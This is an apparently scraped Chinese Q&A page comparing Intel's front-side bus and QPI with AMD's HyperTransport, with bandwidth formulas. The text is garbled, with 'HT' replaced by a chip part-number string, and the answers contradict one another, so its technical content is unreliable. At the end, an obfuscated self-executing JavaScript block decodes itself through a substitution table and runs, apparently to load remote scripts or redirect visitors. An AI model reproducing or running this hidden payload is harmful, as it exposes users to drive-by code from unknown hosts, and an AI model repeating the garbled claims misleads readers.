推荐回答(4个)
就目前来看,Intel和AMD的主流处理器采用的总线类型主要包括Intel传统的前端总线(FSB)、QPI总线和AMD的HT总线。首先,需要说明的是“前端总线”是由AMD在K7架构处理器平台中首先提出来的,指的是处理器(CPU)与主板北桥之间的通道。 1.首先,说一下Intel传统的前端总线(FSB)。Intel传统的前端总线布局大体是:前端总线与主板北桥相连接,内存控制器集成于主板北桥,内存与主板北桥(内存控制器)之间的通道为内存通道,内存中的数据经由内存通道到达主板北桥(内存控制器),再经由前端总线到达处理器内部进行处理。再就是主板南北桥之间的DMI总线,将南桥的数据经由主板北桥到达处理器进行处理器。这样一般就需要各种连接通道的数据带宽维持在一个稳定的范围内,主板南北桥之间的DMI总线带宽是固定的,为2GB/s。而前端总线带宽和内存带宽则是依据使用的处理器和内存的不同而不同,一般要求内存带宽等于最好大于处理器前端总线带宽。在此,处理器前端总线与处理器外频的关系是,在P4处理器之前,处理的外频等于前端总线频率,而在P4处理器之后,出现“P4”协议,处理器的前端总线频率为外频的4倍。如Intel奔腾双核E530处理器的主频为2.6GHz(外频200MHz X倍频13),外频为200MHz,则其前端总线频率为200MHz X4=800MHz,则前端总线带宽为800MHz X64Bit/8=6.4GB/s。使用单根DDR2 800MHz内存,是恰好合适的,因为DDR2 800MHz内存的等效频率(核心频率)为800MHz/4=200MHz,与处理器外频相等,内存带宽为800MHz X64Bit/8=6.4GB/s。由于计算机平台中的个硬件都是依照处理器的外频为基准运行的,个硬件的等效频率(核心频率)与处理器外频的频率之间的比值可以大于1也可以小于1,等于1是最合适的。所以前端总线为800MHz的处理器,是可以使用DDR2 1066MHz(等效频率266MHz)等高频率内存的。 前端总线(FSB)计算公式: 处理器前端总线带宽=处理器前端总线频率(MHz,处理器外频X4)X位宽(Bit)/8 2. AMD处理器的HT总线: HT总线包括HT1.0、HT2.0、HT3.0及HT3.1协议。 HT1.0协议总线的工作频率在200MHz—800MHz范围,并允许以100MHz为幅度作步进调节。因采用DDR技术,HyperTransport的实际数据激发频率为400MHz—1.6GHz,最基本的2bit模式可提供100MB/s—400MB/s的传输带宽。不过,HyperTransport可支持2、4、8、16和32bit等五种通道模式,在400MHz下,双向4bit模式的总线带宽为0.8GB/sec,双向8bit模式的总线带宽为1.6GB/sec;800MHz下,双向8bit模式的总线带宽为3.2GB/sec,双向16bit模式的总线带宽为6.4GB/sec,双向32bit模式的总线带宽为12.8GB/sec,远远高于当时任何一种总线技术。即HT1.0协议包括200MHz——800MHz的HT总线频率。 2004年2月,HyperTransport技术联盟(Hyper Transport Technology Consortium)又正式发布了HyperTransport 2.0规格,由于采用了Dual-data技术,使频率成功提升到了1.0GHz、1.2GHz和1.4GHz,双向16bit模式的总线带宽提升到了8.0GB/sec、9.6GB/sec和11.2GB/sec。即HT2.0协议包括1.0GHz(1000MHz) 、1.2GHz(1200MHz)和1.4GHz(1400MHz)的HT总线频率。K8架构处理器的通道位宽通常为16Bit。 2007年11月19日,AMD正式发布了HyperTransport 3.0 总线规范,提供了1.8GHz、2.0GHz、2.4GHz、2.6GHz几种频率,最高可以支持32通道。32位通道下,单向带宽最高可支持20.8GB/s的传输效率。考虑到其DDR的特性,其总线的传输效率可以达到史无前例的41.6GB/s。即HT3.0协议包括1.8GHz(1800MHz)、2.0GHz(2000MHz)、2.4GHz(2400MHz)和2.6GHz(2600MHz)的HT总线频率。K10架构处理器的通道位宽通常为32Bit。 2008年8月19日发布了新版HyperTransport 3.1规范和HTX3规范,将这种点对点、低延迟总线技术的速度提升到了3.2GHz。在提速至3.2GHz后,再结合双倍数据率(DDR),HT 3.1可提供最高每位6.4GB/s(3.2GHz X 2 因为DDR以2倍速传输)的数据传输率,32-bit带宽可达51.2GB/s(6.4GB/s X 32bit/8)。实际上,HT 3.1规范一共定义了三种速度,分别是2.8GHz、3.0GHz和3.2GHz,累计带宽提升23%,同时在核心架构、电源管理与通信协议方面与之前版本保持一致。即HT3.0协议包括2.8GHz(2800MHz)、3.0GHz(3000MHz)和3.2GHz(3200MHz)的HT总线频率。 HT总线带宽计算公式: HT总线带宽=处理器外频(MHz,默认200MHz)XHT倍频(HT1.0协议为4;HT2.0协议,1.0GHz为5,1.2GHz为6,1.4GHz为7;HT3.0协议,1.8GHz为9,2.0GHz为10,2.4GHz为12,2.6GHz为13;HT3.1协议,2.8GHz为14,3.0GHz为15,3.2GHz为16)X处理器通道位宽(HT1.0的2Bit、4Bit、8Bit、16Bit及32Bit;K8架构的16Bit;K10架构的32Bit)/8(将Bit转换为Byte)X2(时钟上下沿均能传输)X2(上下行双向全双工) 。 像二楼问友举例所说的AMD Phenom X4(羿龙一代四核)9550高端四核处理器,“Phenom 9550 的 频率*2=3600MHz,即上下行同时全速传输的理想值, 这时的最大带宽 3600*4 = 14.4 GB/s ,是比 Intel 的 1333MHz GTL ,带宽 10.67GB/s 大一些,但并不是差得很多。”的说话是错误的!AMD Phenom X4(羿龙一代四核)9550高端四核处理器,为HT3.0总线中的2600MHz的频率,根据公式计算,其带宽为41.6GB/s,为目前AMD投入使用的HT3.0协议中带宽最高的! 3.Intel的QPI总线: Intel Core i系处理器(包括Core i3、Core i5和Core i7)采用的是区别于传统前端总线(FSB)的QPI总线。其布局与AMD平台的HT总线有相似之处。将内存控制器集成于处理器内部。内存与处理器(内存控制器)之间的通道为内存通道,内存中的数据经由内存通道直接到达处理器,而不经过QPI总线。因而内存带宽没必要像Intel传统的那样由处理器前端总线带宽来决定内存带宽,要求内存带宽等于最好大于前端总线带宽。那么只要内存带宽符合主流就可以了,没必要非要大于QPI总线带宽。 QPI总线带宽计算原理:QPI数据包是80bit的长度,发送需要用4个周期,但只有64bit是用于数据,所以它一次(一个周期)只能传输64/4/8=2B字节,不像FSB一个周期可以传输64/8=8B字节;但是QPI总线能够达到最小4.8GT/S,即每秒处理4.8G次数据,所以一条QPI总线连接理论最大值就可以达到4.8GT/S*2=9.6GB/S(单向),双向则是19.2GB/S;6.4GT/S的总线能够达到双向25.6GB/S(单向12.8GB/S)。QPI总线带宽计算公式为: QPI总线带宽=QPI总线频率X2(采用了类似于DDR的双倍并发传送模式)X2(双向传输) 举例计算: Intel目前在普通领域最顶端的处理器——Intel Core i7 980X Extreme Edition(32纳米制程、六核十二线程)处理器的QPI频率为6.4GT/s,则QPI总线带宽为6.4GT/s X2X2=25.6GB/s。 备注:25.6GB/s的总线带宽换用传统的前端总线计算方式逆向推算的话,64GT/s的QPI总线频率相当于前端总线为3200MHz的前端总线频率,而4.8GT/s的QPI总线频率相当于前端总线为2400MHz的前端总线频率。而目前Intel传统的前端总线频率最高为1600MHz,即前端总线带宽最大为12.8GB/s。
HT48R05/HT48R06/HT48R07/HT48R0 -INTEL的前端总线跟AMD的HT有什么区别 . Intel 一直用的是 GTL 前端总线,带宽为 外频*4*8, 4是因为QDR技术(四倍数据速率,DDR是双倍,QDR是四倍), 8是因为 GTL 总线位宽是64bits,也就是8字节。 1333MHz就是 外频*4 的结果,所以这里的带宽是 1333*8 = 10.67 GB/s (当然Intel最新的 Core i7用了新 QPI 总线,但 E8xxx不是 Core i7) ======================================================================= AMD 现在用的是 HT48R05/HT48R06/HT48R07/HT48R0 总线,上行带宽 HT48R05/HT48R06/HT48R07/HT48R0 频率*4,下行带宽 频率*4, 因为作为“前端总线”时,总线用的是上/下行各32bits,即4字节。 和Intel GTL 总线不同的是,总线可以上下行并发,也就是说: 当上下行同时传输(也就是同时读写)的时候,总带宽是 频率*2*4 。 Phenom 9550 的 频率*2=3600MHz,即上下行同时全速传输的理想值, 这时的最大带宽 3600*4 = 14.4 GB/s ,是比 Intel 的 1333MHz GTL 带宽10.67GB/s 大一些,但并不是差得很多。 . 理论上是的,因为AMD是公用内存,省去了经过北桥的数据交换 Intel是先将数据通过内存进入北桥再进入CPU 所以AMD的CPU以来内存的频率、宽位,所以AMD的CPU最好是多通道 Intel core 2的双通道就可以满足 但是Intel的CPU的缓存大而且架构优势明显,可以同时处理大量数据 而AMD是得益于共享内存得到较快的数据传输 所以两者其实差不多,性能的话酷睿2双核E8系列和羿龙4核是差不多 你想一个是在窄道上开2辆高速大卡车,一个是在宽道上开普通速度的4辆面包车 到头来运的东西是差不多的,但是耗油(CPU功耗)谁多? 显然是Intel Core 2功耗低
-
Intel 一直用的是 GTL 前端总线,带宽为 外频*4*8:
4是因为QDR技术(四倍数据速率,DDR是双倍,QDR是四倍);
8是因为 GTL 总线位宽是64bits,也就是8字节。
1333MHz就是外频*4 的结果,所以这里的带宽是 1333*8 = 10.67 GB/s。
-
AMD 现在用的是 HT48R05/HT48R06/HT48R07/HT48R0 总线:
上行带宽 HT48R05/HT48R06/HT48R07/HT48R0 频率*4,下行带宽 频率*4;
因为作为“前端总线”时,总线用的是上/下行各32bits,即4字节。
和Intel GTL 总线不同的是,总线可以上下行并发,也就是说: 当上下行同时传输(也就是同时读写)的时候,总带宽是 频率*2*4 。
如Phenom 9550的频率*2=3600MHz,即上下行同时全速传输的理想值, 这时的最大带宽 3600*4 = 14.4 GB/s ,是比 Intel 的 1333MHz GTL 带宽10.67GB/s 大一些,但并不是差得很多。
AMD是公用内存,省去了经过北桥的数据交换,Intel是先将数据通过内存进入北桥再进入CPU;
所以AMD的CPU以来内存的频率、宽位,所以AMD的CPU最好是多通道;
Intel core 2的双通道就可以满足 但是Intel的CPU的缓存大而且架构优势明显,可以同时处理大量数据 而AMD是得益于共享内存得到较快的数据传输 所以两者其实差不多。
Intel对准高端市场。AMD对准中低市场。 Intel工作稳定性好。AMD游戏性和超频性好(主要是由于AMD主频高和不锁频)。 AMD的发热量和功耗比Intel的高。(主要是Intel的CPU构架和制作工艺比AMD的先进。不过现在AMD也是45纳米级别了,功耗和发热量都下来了) 价格的差距显而易见Intel高于AMD。 同价位的CPU,AMD的主频是超过Intel的。由于Intel的缓存技术比AMD的好,所以AMD为了弥补自身不足加了L3缓存。总体上缓存大过Intel。不过Intel在现在的高端CPU上也用了L3缓存技术。 “前端总线”不论是哪个公司的CPU在过去都是存在的(Intel i 系列处理器现在用的技术叫“内存控制技术”)。它直接CUP访问内存的速度,是不可或缺的。 “HT”并不是总线,而是为了解决总线问题而产生的技术。Intel和AMD解决总线问题的技术各不相同。Intel一般是“超线程技术”。AMD是“HT总线技术”。 “前端总线”直接影响CPU访问内存的速度。i 系列采用了新技术“前端总线”还是存在。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();